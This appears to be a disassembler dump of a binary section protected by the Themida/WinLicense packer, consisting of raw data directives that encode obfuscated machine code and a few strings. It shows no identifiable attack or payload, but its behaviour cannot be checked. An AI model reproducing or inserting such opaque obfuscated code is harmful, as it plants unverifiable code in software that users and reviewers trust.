		dd 6482h, 6830F00h, 89000000h, 70C35BDh, 0FC9FE06h, 0FFFFA689h
		dd 0BE860FFh, 0DE000000h, 20980B8Ah, 0CE2A4426h, 9D31012Dh
		dd 6070A69h, 0DBC28158h, 611BAB93h, 8920C483h, 712F185h
		dd 2444C706h, 0FCh, 0B1B53100h,	0B8060728h, 1, 1ED1BD31h
		dd 8D8D0607h, 6076FE4h,	9E1FFF5h, 72AF995h, 0CD85C606h
		dd 60709h, 2B55BD89h, 0FC610607h, 0F0008C2h, 18Bh, 0E996FC00h
		dd 0Ch,	1ACAA660h, 5BF13AAh, 1C197339h,	6E950h,	0E2140000h
		dd 4F2183D7h, 0BD896096h, 60704C1h, 0EE8h, 31093400h, 9E7BB38Ch
		dd 3236C5Eh, 0F5A4ADCh,	88h, 89615900h,	73FE2B5h, 0B98D0906h
		dd 8906070Dh, 7400B8Dh,	68F0F06h, 89000000h, 71E7595h
		dd 96B58D06h, 0E906073Eh, 10h, 9863EC14h, 0DE89B9C8h, 0AD1DE0BBh
		dd 462F880h, 7E35858Dh,	0DE9005Bh, 0A1000000h, 7A51C3E0h
		dd 6D5CA6CAh, 903C0F10h, 0CE9h,	0AE749F00h, 0B885454Bh
		dd 874B80D6h, 0E9D0FFF3h, 0Ah, 40287764h, 564F2202h, 0F95EF24Eh
		dd 13E9C3h, 78A60000h, 0ABDE39E6h, 0ED44EFEEh, 2F3DC619h
		dd 0F9A1857h, 0E2B58B26h, 3106073Fh, 71F7985h, 0B8D8B06h
		dd 0E9060740h, 0Ch, 5C797D11h, 0E9D643AEh, 3F58B12Ah, 8160C02Bh
		dd 2E4573EFh, 8E96062h,	0D7000000h, 3438351Ah, 0BF0AD42Eh
		dd 3CB5B2FEh, 0D98B6161h, 0BE960h, 2C9B0000h, 1A782AC6h
		dd 0AD982E30h, 7E98Dh, 0F6590000h, 9B6F2262h, 0CEE96197h
		dd 89000000h, 72BF58Dh,	0F263206h, 687h, 1DB50900h, 0B2060711h
		dd 3DBD8902h, 0F060703h, 683h, 89950900h, 0E906070Ah, 84h
		dd 2BDE8B60h, 7229195h,	0C2326106h, 6840Fh, 8D890000h
		dd 6071831h, 1D7A05F8h,	8B608A75h, 5E860F7h, 0FC000000h
		dd 8D709E15h, 49BD0959h, 61060704h, 6E961h, 0EFB50000h
		dd 8D15A525h, 820FCC8Ah, 15h, 10E9h, 9A669900h,	0DA073A8Dh
		dd 7436998Bh, 0E44F20B7h, 60C8D343h, 2309BD2Bh,	81660607h
		dd 613195CFh, 0D1084235h, 6E998h, 0C36D0000h, 181FE24Ch
		dd 0B589CAFEh, 60709C9h, 850FD20Ah, 0FFFFFF7Eh,	7BD8589h
		dd 14B0607h, 72165BDh, 31F54606h, 718CD95h, 0FDB0B06h
		dd 0FFFF3085h, 60CFF9FFh, 7818523h, 958B0607h, 6070225h
		dd 60000061h, 6F58D8Bh,	8D010607h, 6070D85h, 0E9000061h
		dd 12h,	9CD5B88Ah, 0A05CEB0Dh, 88C3C94Ch, 57EA79C3h, 82ADh
		dd 61605360h, 6820F5Ah,	89000000h, 710B59Dh, 6106h, 63858DF8h
		dd 0F9060739h, 2C958589h, 0B5890607h, 6070E25h,	3DC7858Dh
		dd 5E90607h, 90000000h,	0DFDE857Bh, 0FE58589h, 14EB0607h
		dd 4 dup(0)
		dd 8Bh,	4110858Dh, 85890607h, 607115Dh,	4059BD83h, 0F000607h
		dd 11A84h, 0CD85C600h, 56060709h, 0C9FEE968h, 240481BEh
		dd 15556E50h, 59DB5FFh,	858D0607h, 6073963h, 8589D0FFh
		dd 607404Dh, 9CD85C6h, 68560607h, 8C132EE6h, 0B4243481h
		dd 0FF10BB96h, 7059DB5h, 63858D06h, 0FF060739h,	518589D0h
		dd 6A060740h, 0A0FC6804h, 34817DB9h, 0B9B0FC24h, 5D858B7Dh
		dd 5060740h, 1F4h, 5002E0C1h, 6A240489h, 5195FF00h, 89060740h
		dd 7405585h, 0B8D88B06h, 0FFFFFFFFh, 115D95FFh,	0C38B0607h
		dd 115D95FFh, 84E90607h
		db 3 dup(0)
byte_5408CF	db 83h			; DATA XREF: Themida_:0053D91Co
		dd 74059BDh, 850F0006h,	1, 0BD8B57C3h, 6074055h, 558583ABh
		dd 4060740h, 0BD83C35Fh, 6074059h, 1850F00h, 0C3000000h
		dd 55AD8360h, 4060740h,	40559D8Bh, 7B830607h, 850FFFFCh
		dd 1Dh,	0A0007668h, 24348138h, 38A08076h, 33FF006Ah, 404D95FFh
		dd 0C3610607h, 1DE9h, 0F9986800h, 34816AF3h, 0F3799824h
		dd 0FF006A6Ah, 4D95FF33h, 83060740h, 74055ADh, 0B1E90406h
		dd 48FFFFFFh, 9D3E9h, 6FDF0E00h, 31EB7643h, 0C60DB6C5h
		dd 685705FAh, 0C426E42Dh, 9592C8BEh, 6FFB5008h,	9A87A6D5h
		dd 6FF95313h, 3DA97D4Eh, 941AA4CDh, 6F4514A9h, 0AB6DEB68h
		dd 9F98B8DDh, 63FA4D1Ch, 9887A687h, 6FFA5C15h, 22A9674Eh
		dd 9405BED0h, 745B08B7h, 0C063FF7Fh, 88D48CBEh,	2EEB4D18h
		dd 8DC9A7D5h, 6FEC4815h, 23E66157h, 9A05B0D0h, 63h dup(0)
		dd 6FDF0E00h, 2DE77C4Ah, 941ABED6h, 7C591FAAh, 812EE77Fh
		dd 0DA8789B8h, 21FA5B1Fh, 8186B587h, 3DBE5914h,	2DE77D52h
		dd 0DD48B6CCh, 744F4DB4h, 0D263F478h, 9F809BA9h, 42951010h
		dd 958CBFF7h, 6FB25809h, 2BE57D52h, 0DD48B5C3h,	69504DAEh
		dd 0CC63EB62h, 889B85B5h, 21FE1E04h, 919BF3C3h,	3DFF4909h
		dd 2BF03353h, 0C448A3D7h, 695102A8h, 6DEB6Ch, 48h dup(0)
		dd 6FDF0E00h, 27E86144h, 931AB4C9h, 74424DA9h, 0C963EA62h
		dd 98D49BB1h, 6FF15B18h, 9A9CBCC1h, 3AEC1D1Eh, 2AE07D49h
		dd 0DA01F1C5h, 6E5914FAh, 0D830A67Fh, 97919CA3h, 1F923453h
		dd 8788B6CBh, 3ABE111Fh, 25E67F49h, 0C001F1C6h,	74440BFAh
		dd 0C42EA660h, 838687BDh, 2BF15F5Dh, 878CA187h,	3BEC5C0Eh
		dd 31E66A07h, 0C618F1D0h, 7A440AB5h, 0A860h, 61h dup(0)
		dd 26D80E00h, 27A9764Bh, 0C11AA3CDh, 7F5319AAh,	0F563A82Ch
		dd 0DA8781B8h, 28F04C0Dh, 0D484B2D5h, 6FED5C12h, 2AEC7645h
		dd 0DA09BC82h, 77431DB3h, 0C526F26Ch, 9E9A89F0h, 36FE535Dh
		dd 0F9E3B6C5h, 3CB94913h, 22E77A07h, 0D11CB2C7h, 62544DBEh
		dd 0F763E72Dh, 89819AB9h, 6FED515Dh, 9788A1C4h,	61FA5811h
		dd 2DE14707h, 0DD0EF1D1h, 6C1608B6h, 0D564E862h, 889B9FF0h
		dd 21FE1E16h, 8686BEDEh, 131Fh,	0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2D74E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0C0A7BE8Eh, 0EF8CCD1Dh, 0EB99509h
		dd 8BFC0607h, 711519Dh,	0AABA6606h, 9C08B40h, 72F2DBDh
		dd 0CDBD8306h, 6071Ah, 0BD830975h, 6071135h, 50137400h
		dd 0B8C08B53h, 1, 0AC629D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h
		dd 50117400h, 1B853h, 9D8D0000h, 609AB13h, 585BD3FFh, 13E8h
		dd 6D97EB00h, 0FEF0D7E9h, 38716508h, 7B182EB0h,	0B83DF94Dh
		dd 85CA8166h, 9D8B5B8Fh, 6072F85h, 958BC08Bh, 6071EF9h
		dd 58DBD83h, 0F000607h,	17384h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9D035B9Dh
		dd 6071131h, 0E79BBB66h, 0D2DBD83h, 0F000607h, 13F84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0CF4716EFh, 9800F53h, 0F000000h,	389h, 0D38B6600h
		dd 85896060h, 6070361h,	0CD958956h, 5F060719h, 2D858B61h
		dd 8106070Dh, 58E52DF2h, 3E80570h, 95890000h, 6070F29h
		dd 0EE9h, 774B1000h, 0CDF8E159h, 68F324B9h, 502BDAA7h
		dd 1240489h, 7115185h, 54858D06h, 0E906074Bh, 11h, 0E9F63EBCh
		dd 0FD2A8D0Ah, 0CA4B8516h, 84546A8Dh, 890F90CBh, 5, 0DA8B6653h
		dd 5AB3505Ah, 8DD9B390h, 74B3285h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 89BD5E51h
		dd 7DD5FB3Ah, 130D9D8Bh, 89500607h, 958B2404h, 60705D5h
		dd 0A195FFh, 0B5890607h, 6070C85h, 30CC483h, 70BD595h
		dd 32858D06h, 0BB06074Bh, 274CE1Ah, 89E3B350h, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0D18B27C3h, 26318D89h, 26A0607h, 8951D78Bh, 72C3D85h
		dd 95FF5B06h, 688574h, 385958Bh, 0F5610607h, 4B6585C7h
		dd 10607h, 850F0000h, 0Ah, 5E9h, 0A5037A00h, 535078A3h
		dd 48D0Fh, 0BB660000h, 895B01C5h, 6A2434h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 24AEF7C3h
		dd 5BF957EEh, 4B16B589h, 0EEBA0607h, 834CE966h,	719BDBDh
		dd 850F0106h, 3Ch, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 9EC35040h, 80B1E2B6h,	19B529DCh, 8306072Fh
		dd 850F05F8h, 0Ch, 459D8Bh, 0B80607h, 0FC000000h, 1319BD83h
		dd 0F000607h, 4C84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 76A52C50h, 0B8F888D0h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 6DC35141h
		dd 8BCFB75Dh, 72F6195h,	6A6006h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 8795A4C3h, 8291402Dh
		dd 858BA3D7h, 6070E69h,	1DC1958Bh, 0C0830607h, 0ED958B02h
		dd 89060714h, 74B0E85h,	0D78B6606h, 45958960h, 0B060719h
		dd 713A59Dh, 0C66106h, 0E28156FFh, 62750743h, 9D23575Bh
		dd 6070A05h, 0CD85C65Ah, 53060709h, 45CE68F8h, 5250B5DEh
		dd 11E9h, 0D524AB00h, 12CFA0h, 5DB22064h, 7281E650h, 310F87EDh
		dd 5A505250h, 10B2310Fh, 585A585Ah, 0A240481h, 8B46D303h
		dd 99B5FFDAh, 0E806070Dh, 7, 8E19A5D1h,	519B5B8Ah, 1A5958Bh
		dd 5A5B0607h, 7038858Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0FEC317C3h, 0BD3148F9h
		dd 9D017172h, 6070C6Dh,	2855BD89h, 12E90607h, 0A4000000h
		dd 0D25A0556h, 2C8061B3h, 2388A375h, 629F15BFh,	8AD0FF31h
		dd 698589F7h, 0F06070Dh, 688h, 95958900h, 8306071Eh, 72935BDh
		dd 850F0106h, 0F3h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 98C35141h, 41560839h,	0CF4535D9h, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 840F25F4h, 5, 0D8C38166h, 0C7E281A5h, 0C61AD8C8h, 709CD85h
		dd 8B524506h, 7134D9Dh,	14E85A06h, 0C0000000h, 47C6AE5h
		dd 22E3E081h, 2DE624A6h, 0BC4B97E9h, 0E905DF7Fh, 13h, 20A02002h
		dd 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h, 5B0E7C14h, 0E4AC0668h
		dd 81FE8AABh, 8CBC2404h, 8E82E7Bh, 27000000h, 0E11394AEh
		dd 8B0794B2h, 710619Dh,	9D8B5A06h, 60722F9h, 0D99B5FFh
		dd 8B660607h, 38858DD0h, 8B060A70h, 7030195h, 0FF68B606h
		dd 0E9B501D0h, 66060725h, 99E4C281h, 9529006Ah,	6072E35h
		dd 23A58D89h, 0D0FF0607h, 83D4C780h, 70715BDh, 850F0106h
		dd 0C8h, 0C858589h, 858B0607h, 6070E69h, 75E91BB7h, 8B000000h
		dd 718E995h, 1EB75006h,	0F240489h, 684h, 69953300h, 6A060705h
		dd 57006A14h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 8CFE8CE6h, 9FB7FFF6h, 95FFF48Ah,	6070D69h
		dd 3C19D8Bh, 6A580607h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 8E56C350h, 435CFC49h
		dd 958B37BCh, 6071155h,	0F003880h, 0FFFF8885h, 0DDBD89FFh
		dd 0C6060700h, 6A0100h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 1E0C78C3h, 4860Fh, 0BA660000h, 0BF0F69A9h
		dd 1CD280D1h, 83D08B61h, 70095BDh, 840F0006h, 56h, 28F59D09h
		dd 0FF6A0607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	7AC35747h, 0E1F626A2h, 0BFF7BB3Fh, 880F5F46h, 6
		dd 0BA9BD89h, 95FF0607h, 6070D69h, 6E9h, 0AFE7D400h, 0E906B56Eh
		dd 0FFFFFFB6h, 718AE281h, 85C74CF4h, 6070095h, 1, 0D58D8956h
		dd 5B060711h, 4B1A8589h, 958B0607h, 6070A35h, 0E8525090h
		dd 5, 1A8F279Ah, 8F0F3Dh, 5A000000h, 0E951310Fh, 10h, 0CED4C2D7h
		dd 0B7A34AB7h, 9A06C209h, 993FD52Dh, 50585A5Bh,	90D88B66h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 58C35242h
		dd 8C4EE81Bh, 66CC8826h, 557DA81h, 0D08B6656h, 7E8605Ah
		dd 94000000h, 407C46A7h, 10E9E216h, 0E1000000h,	0C78DA9FAh
		dd 44985FFAh, 9CBADA34h, 5BF08DC8h, 8B66056Ah, 399589D3h
		dd 8D060705h, 74B3285h,	5802BB06h, 6650681Bh, 89696FBBh
		dd 800F2404h, 6, 2D119D8Bh, 858D0607h, 6074B22h, 5090DCB7h
		dd 0FD68B52h, 0DF8B6631h, 0E850585Ah, 0Bh, 0A1AA4040h
		dd 5CDA2EC2h, 0FEF30C1h, 38Fh, 0DA8B6600h, 0D78B905Bh
		dd 194995FFh, 95290607h, 6072C31h, 78678D8Dh, 6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0F8F5FC3h, 68Dh, 519D8900h, 0B2060732h, 74C00B5Eh, 32858D11h
		dd 5006074Bh, 8589D1FFh, 6074B50h, 85C70AEBh, 6074B50h
		dd 0FFFFFFFFh, 7E8h, 0E4C4A600h, 0C7203F66h, 295AFDB3h
		dd 71F9DB5h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 2A5D9C45h, 0D980606Dh, 71BD29E6h
		dd 6106070Dh, 5E9h, 5F432D00h, 8961306Bh, 72F099Dh, 0CD85C606h
		dd 4D060709h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	51C35040h, 0FB4F9DE3h, 8D292EE8h, 60704E9h, 4E8h
		dd 3576A800h, 0D08B66A4h, 11E850h, 0A20A0000h, 27551C16h
		dd 0E6935530h, 6964A7D2h, 0E94A26AEh, 0Bh, 0B75ECBF2h
		dd 0D04B5BDAh, 5AA895F7h, 424448Bh, 0F892BA66h,	5250008Bh
		dd 48B0Fh, 0BB660000h, 310FA52Fh, 12890Fh, 0CE80000h, 0EF000000h
		dd 0FC396437h, 0A92AB12Ch, 5A5E555Dh, 4489585Ah, 0DE80424h
		dd 57000000h, 217ABEEBh, 40AEDBA0h, 2F77F1C8h, 1086F0BAh
		dd 6A585B0Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 84ACC357h, 81E2E6E3h, 0EA816656h
		dd 0EF8082B5h, 0F5B5FF15h, 66060710h, 8D4AF4BAh, 0A703885h
		dd 0EE906h, 4DB10000h, 8F093AC7h, 0DDF10E4Ch, 7EA853FEh
		dd 8D01D0FFh, 607108Dh,	5818589h, 0FE90607h, 11000000h
		dd 0EF32E06Ah, 3BB3CCD8h, 53139E76h, 9D89E26Fh,	6070C6Dh
		dd 9CD85C6h, 6A450607h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0C67EC355h,	9204BB84h
		dd 0B8683806h, 0BBC04338h, 6C0D24E6h, 0D1243481h, 664E3151h
		dd 0FFDD1BBBh, 70D99B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0E09D9A56h, 0B1EBD02Fh
		dd 8B665B2Fh, 0F880FDAh, 0E9000000h, 0Ah, 80F83E66h, 0E2C20D1Dh
		dd 0BA517645h, 5E568422h, 38858D5Bh, 6A060A70h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 6173C351h, 0C49958Bh, 0E3810607h, 67ED1F0Dh,	0D38BD0FFh
		dd 2BDD8589h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0B5A675C3h, 0E8FFD74Eh, 0Ch, 20B0CA94h
		dd 93C07D0Eh, 3584CEA3h, 0D0A6BB66h, 0FD28B5Bh,	8C66D0B7h
		dd 53006AD9h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0FFD56DCBh, 53BA7BCFh, 0CE9FD24h, 67000000h
		dd 0F5F4FBBBh, 0DB7DEBACh, 0F6E95DD5h, 840F04C1h, 20Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E0C35040h
		dd 85894A92h, 60714B1h,	123E9h,	6870F00h, 23000000h, 70C2D9Dh
		dd 0F1B58B06h, 57060728h, 0AE8h, 0D2FA7000h, 5009B593h
		dd 81A035F2h, 0DBCCEECAh, 815A5B2Eh, 1180C6h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h
		dd 0C3564600h, 66A89E7Dh, 9509D38Bh, 60713DDh, 0A85BD83h
		dd 0F000607h, 0F85h, 0FE8A5600h, 0A2E95Bh, 9D8B0000h, 60729F5h
		dd 0F003E83h, 9384h, 68B0F00h, 31000000h, 705798Dh, 6A6006h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 2F3081C3h, 0BD8941E0h, 60720DDh, 14E9146Ah, 0A2000000h
		dd 4C7A6B79h, 7B1FBB8Bh, 922FB26Ah, 7240B8EFh, 0FF753296h
		dd 70D6995h, 61D18B06h,	284D958Bh, 95E90607h, 6AFFFFFFh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 2EF6C357h, 5D2AC86h, 723EA09Eh, 7AEAF281h
		dd 958B33AFh, 6070DB9h,	106C7h,	9E90000h, 7C000000h, 0F4A230DEh
		dd 17F9C712h, 4B1ABD83h, 0F050607h, 0B385h, 4BC38100h
		dd 8B7E4313h, 72BDDB5h,	259D2906h, 0B9060729h, 64h, 0DE8h
		dd 0FEF7B300h, 26678CC5h, 27D266A1h, 95897DB7h,	6071009h
		dd 0E83E805Bh, 46840Fh,	9D030000h, 60714F5h, 48D38166h
		dd 46E92Bh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0CDE644C3h, 11E90167h, 8F000000h
		dd 9682F6B9h, 48252802h, 2E69E46Dh, 0B38893F7h,	0C2057E80h
		dd 22840Fh, 95890000h, 607261Dh, 65952346h, 49060723h
		dd 0FF93850Fh, 5352FFFFh, 5AD0B70Fh, 0AE95Ah, 0D48A0000h
		dd 1FBDB589h, 4EB30607h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0E7801ADDh, 9B589CBh
		dd 8306072Fh, 70FD1BDh,	840F0006h, 12Ah, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 19h, 55C35747h, 1C9FAFDEh
		dd 0DE8B668Ch, 52006A60h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0C6D18B0Dh, 709CD85h
		dd 0E9605406h, 6, 0B88FB2Fh, 61FC73A6h,	0C0D98068h, 8B5250D9h
		dd 52310FD8h, 5A5BFC8Ah, 24348158h, 268E6774h, 0B5FFC8B6h
		dd 6070D99h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0C0C35040h, 0A9359522h,	8F4D8916h, 8DD7B70Fh, 0A703885h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 9E833h, 65420000h, 76DE8A23h, 667E18BBh
		dd 5BB270BBh, 0C830Fh, 8A0F0000h, 6, 20D99D8Bh,	0D0FF0607h
		dd 6ADE8Bh, 0F23294BAh,	0D1B5FF6Dh, 6A06070Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 66AAC356h, 4E6DBAD5h, 0D0DD6BFh, 3FBAD0FFh, 662D79F3h
		dd 9D79E381h, 85C7F961h, 6070E29h, 1, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 8BC35545h, 0F4FC930h, 68Ch
		dd 95B50100h, 29060707h, 71E2985h, 830F6006h, 6, 0B7D9D8Bh
		dd 0E4680607h, 0B20E892Dh, 243481E4h, 0E892D64h, 4810Fh
		dd 56570000h, 8A0F5B5Bh, 6, 0A35958Bh, 0FF6A0607h, 89195FFh
		dd 9D8B0607h, 6070A25h,	5840F61h, 66000000h, 0B0F6CB81h
		dd 17D3BB50h, 48919E7h,	6840F24h, 33000000h, 7236D95h
		dd 0DD858B06h, 6A060701h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 3477C353h, 0C00BFCAFh
		dd 3C840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 9F1B7DC3h, 651462E8h, 0A9BA5685h
		dd 5A565B0Bh, 95FF16B6h, 6071245h, 5E9h, 1CFE9C00h, 85C74FBDh
		dd 6071DADh, 1,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	8C35747h, 98859DCh, 0CA8166CDh,	0BD839435h, 6070C31h
		dd 2E840F00h, 8B000000h, 72F919Dh, 7995FF06h, 6A060718h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 33C4C353h, 0DF80675Dh, 0F5BD8347h, 6072Ah
		dd 56840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 170424h, 52420000h, 0E96E6C3h, 0A99D335Bh, 8A06070Ah
		dd 0D195FFF9h, 6A06070Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0A397C355h,	0A3B296F2h
		dd 9D2359DFh, 6071AE9h,	2199BD83h, 0F000607h, 5484h, 0DEBB6600h
		dd 49DA8144h, 835B28FAh, 70529BDh, 850F0006h, 3Dh, 1861958Bh
		dd 0BA660607h, 95FFB8E8h, 6071421h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0D3C35242h,	49178EFCh, 634505Bh
		dd 19958B94h, 0B6060720h, 59BD83D5h, 60732h, 5B840Fh, 12E80000h
		dd 4F000000h, 802EE8FBh, 0A3DAAFB3h, 6637247h, 0EB699B99h
		dd 619D8B98h, 5B060703h, 1F7D8581h, 40030607h, 9E90000h
		dd 0
		dd 0A70EEAA6h, 0AABD9910h, 2F818581h, 40030607h, 10E90000h
		dd 53000000h, 0EAC41C57h, 86CB5AF4h, 0D2BC7067h, 2B94D2B5h
		dd 728B19Dh, 89310F06h,	7262195h, 8D8DF506h, 6075BC5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 7BC35242h
		dd 0BE845930h, 0C5EFD5DDh, 0D9958BA3h, 8B060712h, 72A9D9Dh
		dd 0B018906h, 711819Dh,	6AC23306h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6BB0C356h
		dd 0A87B1583h, 13DD84B6h, 7F705ABBh, 4418946h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 79C35242h, 0D2514B3Ah
		dd 0BDF9CDB8h, 310FF84Ah, 9D8BCEB2h, 6071A31h, 5BDD8D8Dh
		dd 0F38A0607h, 9D8B0189h, 6070319h, 6AC233h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 9E5E9C3h
		dd 8958A120h, 7140DB5h,	699D8B06h, 8906071Bh, 0DE90441h
		dd 10000000h, 0ACCF5A40h, 43809EE5h, 0BEC35740h, 25E5BD83h
		dd 0F000607h, 3284h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 2A7C5033h, 515116B6h
		dd 4818D89h, 5A5A0607h,	22A595FFh, 83F90607h, 72C51BDh
		dd 850F0106h, 6Eh, 6699D8Bh, 63E90607h,	6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 6384C352h, 8B2723B0h, 72AC595h, 0D38B6606h, 5D4FB58Bh
		dd 6C70607h, 0
		dd 5A9BB58Bh, 6C70607h,	0
		dd 57006ACFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0B2B3B5DDh, 0BD83F9FEh, 6071DADh, 5840F00h
		dd 81000001h, 712FF2CBh, 3DBD8376h, 106072Ah, 0DF850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0BFD91C3h, 0E8D8B85h, 6A06074Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0DB26C357h, 1AEB8166h, 1C6CDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0B7C35747h,	49A11354h, 8160617Dh
		dd 0B19EA2D2h, 0B9BA663Bh, 4E8C9h, 800000h, 60520000h
		dd 60D98B66h, 505B6161h, 448BFA8Ah, 0F38A0424h,	4DB2008Bh
		dd 4244489h, 8B58DCB2h,	720D195h, 66FF6A06h, 0FF98E4BAh
		dd 7089195h, 61DE8B06h,	0A4DB8166h, 71953322h, 0FF06070Ah
		dd 707D195h, 8BD88A06h,	74B0E8Dh, 6830F06h, 89000000h
		dd 72F018Dh, 8901FE06h,	7302D8Dh, 85BD8306h, 1060713h
		dd 6850Fh, 958B0000h, 6070D95h,	9589C08Bh, 60711A5h, 1ACDBD83h
		dd 75000607h, 35BD8309h, 60711h, 53501A74h, 858BC08Bh
		dd 6071F7Dh, 1F7D8589h,	9D8D0607h, 609ADC0h, 585BD3FFh
		dd 1135BD83h, 74000607h, 8B535018h, 71F7D85h, 7D858906h
		dd 8D06071Fh, 9AAAF9Dh,	5BD3FF06h, 18C0F58h, 0FC000000h
		dd 953111B2h, 6071131h,	0E380C08Bh, 0DE68061h, 1DADBD83h
		dd 0F000607h, 1A85h, 0CB816600h, 0BD83F607h, 60732A1h
		dd 8840F00h, 0F000000h,	282h, 83F38A00h, 71DADBDh, 840F0006h
		dd 67h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch
		dd 81C35343h, 76A44DBCh, 151B8331h, 7EEA8166h, 0C9BD83A2h
		dd 6070Dh, 31840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 170424h, 52420000h, 0D8E53EC3h, 9CC38142h
		dd 29330F3Fh, 704619Dh,	3D9D0906h, 83060715h, 71DADBDh
		dd 840F0006h, 53h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0F0C35747h, 0FBF88F75h, 83DE8B66h, 70DC9BDh
		dd 840F0006h, 23h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 3C35747h, 0F99D8970h,	83060710h, 71DADBDh
		dd 840F0006h, 27h, 20F1BD89h, 0BD830607h, 6071065h, 14840F00h
		dd 0E8000000h, 6, 0E0Dh, 89516202h, 7332185h, 835B5A06h
		dd 71DADBDh, 840F0006h,	76h, 0BD833FB3h, 6071419h, 67840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 3929C357h, 5DF3674Fh, 470679A7h
		dd 2D8595FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 60CBFEC3h, 14E9h, 57E6BE00h, 0E3E22819h
